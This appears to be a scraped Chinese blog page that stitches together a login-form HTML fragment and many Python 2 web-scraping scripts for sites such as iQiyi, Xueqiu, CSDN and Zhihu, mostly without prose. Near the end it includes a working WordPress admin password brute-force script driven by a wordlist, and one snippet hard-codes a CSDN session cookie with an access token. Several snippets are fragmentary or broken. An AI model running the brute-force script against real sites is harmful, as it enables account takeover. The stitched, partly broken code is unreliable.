<div id="content">

    <div class="login-wrap">

		<div class="w">

            <div class="login-form">

                <div class="login-tab login-tab-l">

                    <a href="javascript:void(0)" clstag="pageclick|keycount|201607144|1"> 扫码登录</a>

                </div>

                <div class="login-tab login-tab-r">

                    <a href="javascript:void(0)" clstag="pageclick|keycount|201607144|2">账户登录</a>

                </div>

                <div class="login-box">

                    <div class="mt tab-h">

                    </div>

                    <div class="msg-wrap">

						                        <div class="msg-error hide"><b></b></div>

                    </div>

# -*-coding=utf-8-*-



import requests

session = requests.Session()

user = ''

password = ''



def getCode():

    headers = {

        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}

    url = 'http://vexx.pro/verify/code.html'

    s = session.get(url=url, headers=headers)



    with open('code.png', 'wb') as f:

        f.write(s.content)



    code = raw_input('input the code: ')

    print 'code is ', code



    login_url = 'http://vexx.pro/login/up_login.html'

    post_data = {

        'moble': user,

        'mobles': '+86',

        'password': password,

        'verify': code,

        'login_token': ''}



    login_s = session.post(url=login_url, headers=header, data=post_data)

    print login_s.status_code



    zzc_url = 'http://vexx.pro/ajax/check_zzc/'

    zzc_s = session.get(url=zzc_url, headers=headers)

    print zzc_s.text



def main():

    getCode()



if __name__ == '__main__':

    main()

scrapy startproject headerchange

scrapy genspider headervalidation helloacm.com

class HeadervalidationSpider(scrapy.Spider):

    name = 'headervalidation'

    allowed_domains = ['helloacm.com']

    start_urls = ['http://helloacm.com/api/user-agent/']



    def parse(self, response):

        print '*'*20

        print response.body

        print '*'*20

scrapy crawl headervalidation

# Crawl responsibly by identifying yourself (and your website) on the user-agent

USER_AGENT = 'Hello World'

scrapy crawl headervalidation

2017-12-14 16:17:35 [scrapy.extensions.telnet] DEBUG: Telnet console listening on 127.0.0.1:6023

2017-12-14 16:17:35 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (301) to <GET https://helloacm.com/api/us

er-agent/> from <GET http://helloacm.com/api/user-agent/>

2017-12-14 16:17:36 [scrapy.core.engine] DEBUG: Crawled (200) <GET https://helloacm.com/api/user-agent/> (referer: None)



[b]********************

"Hello World"

********************

[/b]2017-12-14 16:17:37 [scrapy.core.engine] INFO: Closing spider (finished)

2017-12-14 16:17:37 [scrapy.statscollectors] INFO: Dumping Scrapy stats:

{'downloader/request_bytes': 406,

 'downloader/request_count': 2,

 'downloader/request_method_count/GET': 2,

 'downloader/response_bytes': 796,

 'downloader/response_count': 2,

 'downloader/response_status_count/200': 1,

 'downloader/response_status_count/301': 1,

 'finish_reason': 'finished',

 'finish_time': datetime.datetime(2017, 12, 14, 8, 17, 37, 29000),

 'log_count/DEBUG': 3,

 'log_count/INFO': 7,

 'response_received_count': 1,

 'scheduler/dequeued': 2,

 'scheduler/dequeued/memory': 2,

 'scheduler/enqueued': 2,

 'scheduler/enqueued/memory': 2,

 'start_time': datetime.datetime(2017, 12, 14, 8, 17, 35, 137000)}

2017-12-14 16:17:37 [scrapy.core.engine] INFO: Spider closed (finished)

# Override the default request headers:

 DEFAULT_REQUEST_HEADERS = {

    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

    'Accept-Language': 'en',

    'User-Agent':'Hello World'

 }

class HeadervalidationSpider(scrapy.Spider):

    name = 'headervalidation'

    allowed_domains = ['helloacm.com']





    def start_requests(self):

        header={'User-Agent':'Hello World'}

        yield scrapy.Request(url='http://helloacm.com/api/user-agent/',headers=header)



    def parse(self, response):

        print '*'*20

        print response.body

        print '*'*20

2017-12-14 16:17:35 [scrapy.extensions.telnet] DEBUG: Telnet console listening on 127.0.0.1:6023

2017-12-14 16:17:35 [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (301) to <GET https://helloacm.com/api/us

er-agent/> from <GET http://helloacm.com/api/user-agent/>

2017-12-14 16:17:36 [scrapy.core.engine] DEBUG: Crawled (200) <GET https://helloacm.com/api/user-agent/> (referer: None)



********************

"Hello World"

********************

2017-12-14 16:17:37 [scrapy.core.engine] INFO: Closing spider (finished)

2017-12-14 16:17:37 [scrapy.statscollectors] INFO: Dumping Scrapy stats:

#-*-coding=utf-8-*-

from scrapy.contrib.downloadermiddleware.useragent import UserAgentMiddleware



class CustomerUserAgent(UserAgentMiddleware):

    def process_request(self, request, spider):

        ua='HELLO World?????????'

        request.headers.setdefault('User-Agent',ua)

DOWNLOADER_MIDDLEWARES = {

    'headerchange.customerMiddleware.customMiddleware.CustomerUserAgent':10

#    'headerchange.middlewares.MyCustomDownloaderMiddleware': 543,

}

session = requests.Session()

def getContent(url):

    try:

        ret = session.get(url)

    except:

        return None

    if ret.status_code==200:

        return ret.text

    else:

        return None

    content = getContent(url)

    root = etree.HTML(content)

    elements=root.xpath('//div[@data-current-count="1"]//li/a/@href')

    for items in elements:

        song_url = items.replace('//','')

        song_url=song_url.strip()

        print(song_url)

        p=subprocess.Popen('python you-get -d --format=HD {}'.format(song_url),stderr=subprocess.PIPE,stdout=subprocess.PIPE,shell=True)

        output,error = p.communicate()

        print(output)

        print(error)

        p.wait()

#-*-coding=utf-8-*-

import requests

from lxml import etree

import subprocess

session = requests.Session()

def getContent(url):

    # url='http://www.iqiyi.com/v_19rrkwcx6w.html'

    try:

        ret = session.get(url)

    # except Exception,e:

    except:

        # print e

        return None

    if ret.status_code==200:

        return ret.text

    else:

        return None



def getUrl():

    url='http://www.iqiyi.com/v_19rrkwcx6w.html'

    url2='http://www.iqiyi.com/v_19rrl2td7g.html' # 31-61

    content = getContent(url)

    root = etree.HTML(content)

    elements=root.xpath('//div[@data-current-count="1"]//li/a/@href')

    for items in elements:

        song_url = items.replace('//','')

        song_url=song_url.strip()

        print(song_url)

        p=subprocess.Popen('python you-get -d --format=HD {}'.format(song_url),stderr=subprocess.PIPE,stdout=subprocess.PIPE,shell=True)

        output,error = p.communicate()

        print(output)

        print(error)

        p.wait()



def main():

    getUrl()



if __name__ == '__main__':

    main()

#-*-coding=utf-8-*-

import sys,os

import requests

from lxml import etree

import subprocess

session = requests.Session()

def getContent(url):

    # url='http://www.iqiyi.com/v_19rrkwcx6w.html'

    try:

        ret = requests.get(url)

        ret.encoding='utf-8'

    # except Exception,e:

    except:

        # print e

        return None

    if ret.status_code==200:

        return ret.text

    else:

        return None



def getUrl():

    url='http://www.iqiyi.com/v_19rrkwcx6w.html'

    url2='http://www.iqiyi.com/v_19rrl2td7g.html' # 31-61

    content = getContent(url)

    if not content:

        print "network issue, retry"

        exit(0)

    root = etree.HTML(content,parser=etree.HTMLParser(encoding='utf-8'))

    elements=root.xpath('//div[@data-current-count="1"]//li')

    for items in elements:

        url_item=items.xpath('.//a/@href')[0]

        song_url = url_item.replace('//','')

        song_url=song_url.strip()

        print(song_url)

        # name=items.xpath('.//span[@class="item-num"]/text()')[0]

        name=items.xpath('.//span[@class="item-num"]/text()')[0].encode('utf-8').strip()+\

             ' '+items.xpath('.//span[@class="item-txt"]/text()')[0].encode('utf-8').strip()+'.mp4'

        name= '儿歌多多 '+name

        name=name.decode('utf-8')

        filename=os.path.join(os.getcwd(),name)

        print filename

        if os.path.exists(filename):

            continue

        p=subprocess.Popen('python you-get -d --format=HD {}'.format(song_url),stderr=subprocess.PIPE,stdout=subprocess.PIPE,shell=True)

        output,error = p.communicate()

        print(output)

        print(error)

        p.wait()





def main():

    getUrl()



if __name__ == '__main__':

    main()

# coding: utf-8

# http://30daydo.com

import urllib



import os

import requests

import time

from lxml import etree

from header_toolkit import getheader





def spider():

    curr=os.getcwd()

    target_dir=os.path.join(curr,'data')

    if not os.path.exists(target_dir):

        os.mkdir(target_dir)

    for i in range(1, 100, 10):

        url = 'http://www.lrts.me/ajax/playlist/2/32551/%d' % i

        headers = {

            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'}

        s = requests.get(url=url, headers=headers)

        tree = etree.HTML(s.text)

        nodes = tree.xpath('//*[starts-with(@class,"clearfix section-item section")]')

        print len(nodes)

        for node in nodes:

            filename = node.xpath('.//div[@class="column1 nowrap"]/span/text()')[0]

            link = node.xpath('.//input[@name="source" and @type="hidden"]/@value')[0]



            print link

            post_fix=link.split('.')[-1]

            full_path= filename+'.'+post_fix

            urllib.urlretrieve(link, filename=os.path.join(target_dir,full_path))

            time.sleep(1)





if __name__ == '__main__':

    spider()

#Get your range of csdn

'''

http://30daydo.com

contact: weigesysu@qq.com

'''

import urllib2,re

import time

link='http://blog.csdn.net/[b]用户名[/b]/article/details/52858314'

user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

header = {"User-Agent": user_agent}

req = urllib2.Request(link, headers=header)

resp = urllib2.urlopen(req)

content = resp.read()

#print content

p=re.compile(r'<li>排名：<span>第(\d+)名</span></li>')

result=p.findall(content)

print result[0]



today=time.strftime("%Y-%m-%d")

print today



f=open("data/csdn_range.txt",'a')

contents=today+'\t'+result[0]+'\n'

f.write(contents)

f.close()

session=requests.session()

#先创建一个seession



s=session.get('http://xueqiu.com',headers=self.headers)

#随意建立一个访问雪球的session，此时的session就自带了雪球的cookies



url='https://xueqiu.com/snowmart/push/stocks.json?product_id=19&page=3&count=5'

headers['Referer']='https://xueqiu.com/strategy/19'

headers['X-Requested-With']='XMLHttpRequest'

headers['DNT']='1'



data={'product_id':19,'page':3,'count':5}



resp=session.get(url,headers=self.headers,params=data).text

#如果这里用的request.get的话，就不能获取到网页返回的正确内容

print resp

def csdn():

    session=requests.session()

    header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36'}

    url='[url]http://msg.csdn.net/'[/url] 

    header['Cookie']='uuid_tt_dd=-5697318013068753627_20160111; _ga=GA1.2.795042232.1452766190; _message_m=quvq2wle24wa4awe UserInfo=zMhiNgesgIlEBQ3TOqLCtx4nUI360IIq3ciBzg4EKH%2FW8mSpTANpu5cTlRFLj2Tqh%2FZzQr2rNqDtT1SZz%2Be2%2FpDkGoQxDK3IVUZXvwZ%2FEP1I4UTg6MoZkH7LDO3sjrJJ; UserNick=%E9%87%8D%E5%A4%8D%E7%9A%84%E7%94%9F%E6%B4%BB; AU=0F1; UD=%E8%AE%B0%E5%BD%95%E8%87%AA%E5%AD%A6%E7%9A%84%E5%8E%86%E7%A8%8B+%E5%88%83%E8%8D%; BT=1490707396344; access-token=c2e12bff-5b27-4a91-953b-448ff6f6beac; _csdn_notify_admin_session=VE41a0d3TitrVGY2bGtXY09pZENwR1lHenhUU1NVaWc1b04wL1I3dCtDQVdadWpjMXBzdGRJL0RZR04wYldvZDBhTU96b2oycVVKeVI1UEVyUHFKbG1yNnB2b2pHRWVnWG1uc2JMM2R3YWthakRyTXZNaEpVU1NtUy9zQUJrNjd3R2lpbG5PK0paMnlyc1dyK0lTZUtRPT0tLXlPQUE1QzF5UmhDNjEvSFdtRFlQS2c9PQ%3D%3D--4569c5a32916dcf969a8b7e007c37abeb90be4f3; dc_tos=onj1dg; dc_session_id=1490707393375; Hm_lvt_6bcd52f51e9b3dce32bec4a3997715ac=1490024083,1490024559,1490374375,1490707368; Hm_lpvt_6bcd52f51e9b3dce32bec4a3997715ac=1490707638'

    header['Cache-Control']='max-age=0'

    header['Host']='msg.csdn.net'

    header['Referer']='http://blog.csdn.net/username'

    resp=requests.get(url,headers=header)

    print resp.text

 
上面这段代码，只要你改一下cookie和 Refer 的连接，改成你自己的用户名。 你就可以访问你的csdn的消息，也就是别人在你的csdn博客访问的的留言，评论。
 
只是这个cookie只能在某个时间段生效，也就是存活期大概就一个星期左右。

            content=requests.get(url,headers=self.header)

            content.encoding='gbk'

            print content.text

#-*-coding=utf-8-*-

__author__ = 'rocky'

#获取每天深圳一手房，二手房的成交套数与面积，并且写入数据库

#主要就是正则表达抓取几个数字

import urllib2,re

import database

def getContent():

    url="http://ris.szpl.gov.cn/"

    one_hand="credit/showcjgs/ysfcjgs.aspx"

    second_hand="credit/showcjgs/esfcjgs.aspx"

    req=urllib2.Request(url+one_hand)

    content=urllib2.urlopen(req).read()

    #返回的就是网页的源码，没有做任何防爬虫的处理，zf网站，呵呵

    #print content

    date=re.compile(r'<SPAN class=titleblue><span id=\"lblCurTime5\">(.*)</span>')

    reg=re.compile(r'<td width="14%"><b>(\d+)</b>')

    result=reg.findall(content)

    current_date=date.findall(content)



    reg2=re.compile(r'<td align="right"><b>(.*?)</b>')

    yishou_area=reg2.findall(content)





    print current_date[0]

    print '一手商品房成交套数：%s'  % result[0]

    print '一手商品房成交面积： %s'  % yishou_area[0]





    sec_req=urllib2.Request(url+second_hand)

    sec_content=urllib2.urlopen(sec_req).read()



    sec_quantity=re.compile(r'<td width="30%">(\d+)</td>')

    sec_result=sec_quantity.findall(sec_content)

    second_area=re.findall(r'<td align="right">(.*?)</td>',sec_content)



    print '二手商品房成交套数：%s'  % sec_result[1]

    print '二手商品房成交面积： %s'  % second_area[2]

    database.create_table()

    database.insert(current_date[0],result[0],yishou_area[0],sec_result[1],second_area[2])



getContent()

class getProxy():



    def __init__(self):

        self.user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

        self.header = {"User-Agent": self.user_agent}

        self.dbname="proxy.db"

        self.now = time.strftime("%Y-%m-%d")



    def getContent(self, num):

        nn_url = "http://www.xicidaili.com/nn/" + str(num)

        #国内高匿

        req = urllib2.Request(nn_url, headers=self.header)

        resp = urllib2.urlopen(req, timeout=10)

        content = resp.read()

        et = etree.HTML(content)

        result_even = et.xpath('//tr[@class=""]')

        result_odd = et.xpath('//tr[@class="odd"]')

        #因为网页源码中class 分开了奇偶两个class，所以使用lxml最方便的方式就是分开获取。

        #刚开始我使用一个方式获取，因而出现很多不对称的情况，估计是网站会经常修改源码，怕被其他爬虫的抓到

        #使用上面的方法可以不管网页怎么改，都可以抓到ip 和port

        for i in result_even:

            t1 = i.xpath("./td/text()")[:2]

            print "IP:%s\tPort:%s" % (t1[0], t1[1])

            if self.isAlive(t1[0], t1[1]):



                self.insert_db(self.now,t1[0],t1[1])

        for i in result_odd:

            t2 = i.xpath("./td/text()")[:2]

            print "IP:%s\tPort:%s" % (t2[0], t2[1])

            if self.isAlive(t2[0], t2[1]):

                self.insert_db(self.now,t2[0],t2[1])

def insert_db(self,date,ip,port):

        dbname=self.dbname

        try:

            conn=sqlite3.connect(dbname)

        except:

            print "Error to open database%" %self.dbname

        create_tb='''

        CREATE TABLE IF NOT EXISTS PROXY

        (DATE TEXT,

        IP TEXT,

        PORT TEXT

        );

        '''

        conn.execute(create_tb)

        insert_db_cmd='''

        INSERT INTO PROXY (DATE,IP,PORT) VALUES ('%s','%s','%s');

        ''' %(date,ip,port) #写入时间，ip和端口

        conn.execute(insert_db_cmd)

        conn.commit() #记得commit

        conn.close()

 #查看爬到的代理IP是否还能用

    def isAlive(self,ip,port):

        proxy={'http':ip+':'+port}

        print proxy



        #使用这个方式是全局方法。

        proxy_support=urllib2.ProxyHandler(proxy)

        opener=urllib2.build_opener(proxy_support)

        urllib2.install_opener(opener)

        #使用代理访问腾讯官网，进行验证代理是否有效

        test_url="http://www.qq.com"

        req=urllib2.Request(test_url,headers=self.header)

        try:

            #timeout 设置为10，如果你不能忍受你的代理延时超过10，就修改timeout的数字

            resp=urllib2.urlopen(req,timeout=10)



            if resp.code==200:

                print "work"

                return True

            else:

                print "not work"

                return False

        except :

            print "Not work"

            return False

    def loop(self,page):

        for i in range(1,page):

            self.getContent(i)

if __name__ == "__main__":

    now = datetime.datetime.now()

    print "Start at %s" % now

    obj=getProxy()

    obj.loop(5)

__author__ = 'rocchen'

# working v1.0

from bs4 import BeautifulSoup

import urllib2, datetime, time, codecs, cookielib, random, threading

import os,sys





def getInfo(max_index_user=5):

    stock_news_site =

"http://ggjd.cnstock.com/gglist/search/ggkx/"

 

    my_userAgent = [

        'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',

        'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',

        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0',

        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',

        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',

        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',

        'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',

        'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11',

        'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)',

        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)']

    index = 0

    max_index = max_index_user

    num = 1

    temp_time = time.strftime("[%Y-%m-%d]-[%H-%M]", time.localtime())



    store_filename = "StockNews-%s.log" % temp_time

    fOpen = codecs.open(store_filename, 'w', 'utf-8')



    while index < max_index:

        user_agent = random.choice(my_userAgent)

        # print user_agent

        company_news_site = stock_news_site + str(index)

        # content = urllib2.urlopen(company_news_site)

        headers = {'User-Agent': user_agent, 'Host': "ggjd.cnstock.com", 'DNT': '1',

                   'Accept': 'text/html, application/xhtml+xml, */*', }

        req = urllib2.Request(url=company_news_site, headers=headers)

        resp = None

        raw_content = ""

        try:

            resp = urllib2.urlopen(req, timeout=30)



        except urllib2.HTTPError as e:

            e.fp.read()

        except urllib2.URLError as e:

            if hasattr(e, 'code'):

                print "error code %d" % e.code

            elif hasattr(e, 'reason'):

                print "error reason %s " % e.reason



        finally:

            if resp:

                raw_content = resp.read()

                time.sleep(2)

                resp.close()



        soup = BeautifulSoup(raw_content, "html.parser")

        all_content = soup.find_all("span", "time")



        for i in all_content:

            news_time = i.string

            node = i.next_sibling

            str_temp = "No.%s \n%s\t%s\n---> %s \n\n" % (str(num), news_time, node['title'], node['href'])

            #print "inside %d" %num

            #print str_temp

            fOpen.write(str_temp)

            num = num + 1



        #print "index %d" %index

        index = index + 1



    fOpen.close()





def execute_task(n=60):

    period = int(n)

    while True:

        print datetime.datetime.now()

        getInfo(3)

        

        time.sleep(60 * period)

        





if __name__ == "__main__":



    sub_folder = os.path.join(os.getcwd(), "stock")

    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)

    os.chdir(sub_folder)

    start_time = time.time()  # user can change the max index number getInfo(10), by default is getInfo(5)

    if len(sys.argv) <2:

        n = raw_input("Input Period : ? mins to download every cycle")

    else:

        n=int(sys.argv[1])

    execute_task(n)

    end_time = time.time()

    print "Total time: %s s." % str(round((end_time - start_time), 4))

#-*-coding=utf-8-*-

__author__ = 'rocky chen'

from bs4 import BeautifulSoup

import urllib2,sys,StringIO,gzip,time,random,re,urllib,os

reload(sys)

sys.setdefaultencoding('utf-8')

class Xitek():

    def __init__(self):

        self.url="http://photo.xitek.com/"

        user_agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

        self.headers={"User-Agent":user_agent}

        self.last_page=self.__get_last_page()





    def __get_last_page(self):

        html=self.__getContentAuto(self.url)

        bs=BeautifulSoup(html,"html.parser")

        page=bs.find_all('a',class_="blast")

        last_page=page[0]['href'].split('/')[-1]

        return int(last_page)





    def __getContentAuto(self,url):

        req=urllib2.Request(url,headers=self.headers)

        resp=urllib2.urlopen(req)

        #time.sleep(2*random.random())

        content=resp.read()

        info=resp.info().get("Content-Encoding")

        if info==None:

            return content

        else:

            t=StringIO.StringIO(content)

            gziper=gzip.GzipFile(fileobj=t)

            html = gziper.read()

            return html



    #def __getFileName(self,stream):





    def __download(self,url):

        p=re.compile(r'href="(/photoid/\d+)"')

        #html=self.__getContentNoZip(url)



        html=self.__getContentAuto(url)



        content = p.findall(html)

        for i in content:

            print i



            photoid=self.__getContentAuto(self.url+i)

            bs=BeautifulSoup(photoid,"html.parser")

            final_link=bs.find('img',class_="mimg")['src']

            print final_link

            #pic_stream=self.__getContentAuto(final_link)

            title=bs.title.string.strip()

            filename = re.sub('[\/:*?"<>|]', '-', title)

            filename=filename+'.jpg'

            urllib.urlretrieve(final_link,filename)

            #f=open(filename,'w')

            #f.write(pic_stream)

            #f.close()

        #print html

        #bs=BeautifulSoup(html,"html.parser")

        #content=bs.find_all(p)

        #for i in content:

        #    print i

        '''

        print bs.title

        element_link=bs.find_all('div',class_="element")

        print len(element_link)

        k=1

        for href in element_link:



            #print type(href)

            #print href.tag

        '''

        '''

            if href.children[0]:

                print href.children[0]

        '''

        '''

            t=0



            for i in href.children:

                #if i.a:

                if t==0:

                    #print k

                    if i['href']

                    print link



                        if p.findall(link):

                            full_path=self.url[0:len(self.url)-1]+link

                            sub_html=self.__getContent(full_path)

                            bs=BeautifulSoup(sub_html,"html.parser")

                            final_link=bs.find('img',class_="mimg")['src']

                            #time.sleep(2*random.random())

                            print final_link

                    #k=k+1

                #print type(i)

                #print i.tag

                #if hasattr(i,"href"):

                    #print i['href']

                #print i.tag

                t=t+1

                #print "*"



        '''



        '''

            if href:

                if href.children:

                    print href.children[0]

        '''

            #print "one element link"







    def getPhoto(self):



        start=0

        #use style/0

        photo_url="http://photo.xitek.com/style/0/p/"

        for i in range(start,self.last_page+1):

            url=photo_url+str(i)

            print url

            #time.sleep(1)

            self.__download(url)



        '''

        url="http://photo.xitek.com/style/0/p/10"

        self.__download(url)

        '''

        #url="http://photo.xitek.com/style/0/p/0"

        #html=self.__getContent(url)

        #url="http://photo.xitek.com/"

        #html=self.__getContentNoZip(url)

        #print html

        #'''

def main():

    sub_folder = os.path.join(os.getcwd(), "content")

    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)

    os.chdir(sub_folder)

    obj=Xitek()

    obj.getPhoto()





if __name__=="__main__":

    main()

# -*- coding=utf-8 -*-

__author__ = 'rocky @ www.30daydo.com'

import urllib2, re, os, codecs,sys,datetime

from bs4 import BeautifulSoup

# example https://zhhrb.sinaapp.com/index.php?date=20160610

from mail_template import MailAtt

reload(sys)

sys.setdefaultencoding('utf-8')



def save2file(filename, content):

    filename = filename + ".txt"

    f = codecs.open(filename, 'a', encoding='utf-8')

    f.write(content)

    f.close()





def getPost(date_time, filter_p):

    url = 'https://zhhrb.sinaapp.com/index.php?date=' + date_time

    user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

    header = {"User-Agent": user_agent}

    req = urllib2.Request(url, headers=header)

    resp = urllib2.urlopen(req)

    content = resp.read()

    p = re.compile('<h2 class="question-title">(.*)</h2></br></a>')

    result = re.findall(p, content)

    count = -1

    row = -1

    for i in result:

        #print i

        return_content = re.findall(filter_p, i)



        if return_content:

            row = count

            break

            #print return_content[0]

        count = count + 1

    #print row

    if row == -1:

        return 0

    link_p = re.compile('<a href="(.*)" target="_blank" rel="nofollow">')

    link_result = re.findall(link_p, content)[row + 1]

    print link_result

    result_req = urllib2.Request(link_result, headers=header)

    result_resp = urllib2.urlopen(result_req)

    #result_content= result_resp.read()

    #print result_content



    bs = BeautifulSoup(result_resp, "html.parser")

    title = bs.title.string.strip()

    #print title

    filename = re.sub('[\/:*?"<>|]', '-', title)

    print filename

    print date_time

    save2file(filename, title)

    save2file(filename, "\n\n\n\n--------------------%s Detail----------------------\n\n" %date_time)



    detail_content = bs.find_all('div', class_='content')



    for i in detail_content:

        #print i

        save2file(filename,"\n\n-------------------------answer  -------------------------\n\n")

        for j in i.strings:



            save2file(filename, j)



    smtp_server = 'smtp.126.com'

    from_mail = sys.argv[1]

    password = sys.argv[2]

    to_mail = 'jinweizsu@kindle.cn'

    send_kindle = MailAtt(smtp_server, from_mail, password, to_mail)

    send_kindle.send_txt(filename)





def main():

    sub_folder = os.path.join(os.getcwd(), "content")

    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)

    os.chdir(sub_folder)





    date_time = '20160611'

    filter_p = re.compile('大误.*')

    ori_day=datetime.date(datetime.date.today().year,01,01)

    t=datetime.date(datetime.date.today().year,datetime.date.today().month,datetime.date.today().day)

    delta=(t-ori_day).days

    print delta

    for i in range(delta):

        day=datetime.date(datetime.date.today().year,01,01)+datetime.timedelta(i)

        getPost(day.strftime("%Y%m%d"),filter_p)

    #getPost(date_time, filter_p)



if __name__ == "__main__":

    main()

# -*-coding=utf-8-*-

#抓取雪球的收藏文章

__author__ = 'Rocky'

import requests,cookielib,re,json,time

from toolkit import Toolkit

from lxml import etree

url='https://xueqiu.com/snowman/login'

session = requests.session()



session.cookies = cookielib.LWPCookieJar(filename="cookies")

try:

    session.cookies.load(ignore_discard=True)

except:

    print "Cookie can't load"



agent = 'Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'

headers = {'Host': 'xueqiu.com',

           'Referer': 'https://xueqiu.com/',

           'Origin':'https://xueqiu.com',

           'User-Agent': agent}

account=Toolkit.getUserData('data.cfg')

print account['snowball_user']

print account['snowball_password']



data={'username':account['snowball_user'],'password':account['snowball_password']}

s=session.post(url,data=data,headers=headers)

print s.status_code

#print s.text

session.cookies.save()

fav_temp='https://xueqiu.com/favs?page=1'

collection=session.get(fav_temp,headers=headers)

fav_content= collection.text

p=re.compile('"maxPage":(\d+)')

maxPage=p.findall(fav_content)[0]

print maxPage

print type(maxPage)

maxPage=int(maxPage)

print type(maxPage)

for i in range(1,maxPage+1):

    fav='https://xueqiu.com/favs?page=%d' %i

    collection=session.get(fav,headers=headers)

    fav_content= collection.text

    #print fav_content

    p=re.compile('var favs = {(.*?)};',re.S|re.M)

    result=p.findall(fav_content)[0].strip()



    new_result='{'+result+'}'

    #print type(new_result)

    #print new_result

    data=json.loads(new_result)

    use_data= data['list']

    host='https://xueqiu.com'

    for i in use_data:

        url=host+ i['target']

        print url

        txt_content=session.get(url,headers=headers).text

        #print txt_content.text



        tree=etree.HTML(txt_content)

        title=tree.xpath('//title/text()')[0]



        filename = re.sub('[\/:*?"<>|]', '-', title)

        print filename



        content=tree.xpath('//div[@class="detail"]')

        for i in content:

            Toolkit.save2filecn(filename, i.xpath('string(.)'))

        #print content

        #Toolkit.save2file(filename,)

        time.sleep(10)

# coding=utf-8

# 破解wordpress 后台用户密码

import urllib, urllib2, time, re, cookielib,sys





class wordpress():

    def __init__(self, host, username):

		#初始化定义 header ，避免被服务器屏蔽

        self.username = username

        self.http="http://"+host

        self.url =  self.http + "/wp-login.php"

        self.redirect = self.http + "/wp-admin/"

        self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'

        self.referer=self.http+"/wp-login.php"

        self.cook="wordpress_test_cookie=WP+Cookie+check"

        self.host=host

        self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}

        self.cookie = cookielib.CookieJar()

        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))





    def crash(self, filename):

        try:

            pwd = open(filename, 'r')

			#读取密码文件，密码文件中密码越多破解的概率越大

            while 1 :

                i=pwd.readline()

                if not i :

                    break



                data = urllib.urlencode(

                    {"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})

                Req = urllib2.Request(url=self.url, data=data, headers=self.headers)

				#构造好数据包之后提交给wordpress网站后台

                Resp = urllib2.urlopen(Req)

                result = Resp.read()

                # print result

                login = re.search(r'login_error', result)

				#判断返回来的字符串，如果有login error说明失败了。

                if login:

                    pass

                else:

                    print "Crashed! password is %s %s" % (self.username,i.strip())

                    g=open("wordpress.txt",'w+')

                    g.write("Crashed! password is %s %s" % (self.username,i.strip()))

                    pwd.close()

                    g.close()

					#如果匹配到密码， 则这次任务完成，退出程序

                    exit()

                    break



            pwd.close()



			except Exception, e:

            print "error"

            print e

            print "Error in reading password"





if __name__ == "__main__":

    print "begin at " + time.ctime()

    host=sys.argv[1]

    #url = "http://"+host

	#给程序提供参数，为你要破解的网址

    user = sys.argv[2]

    dictfile=sys.argv[3]

	#提供你事先准备好的密码文件

    obj = wordpress(host, user)

    #obj.check(dictfile)

    obj.crash(dictfile)

    #obj.crash_v()

    print "end at " + time.ctime()

# -*-coding=utf-8-*-

__author__ = 'Rocky'

# -*-coding=utf-8-*-

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

import smtplib

from email import Encoders, Utils

import urllib2

import time

import re

import sys

import os



from bs4 import BeautifulSoup



from email.Header import Header



reload(sys)

sys.setdefaultencoding('utf-8')





class GetContent():

    def __init__(self, id):



        # 给出的第一个参数 就是你要下载的问题的id

        # 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574

        # 那么 就输入 python zhihu.py 29372574



        id_link = "/question/" + id

        self.getAnswer(id_link)



    def save2file(self, filename, content):

        # 保存为电子书文件

        filename = filename + ".txt"

        f = open(filename, 'a')

        f.write(content)

        f.close()



    def getAnswer(self, answerID):

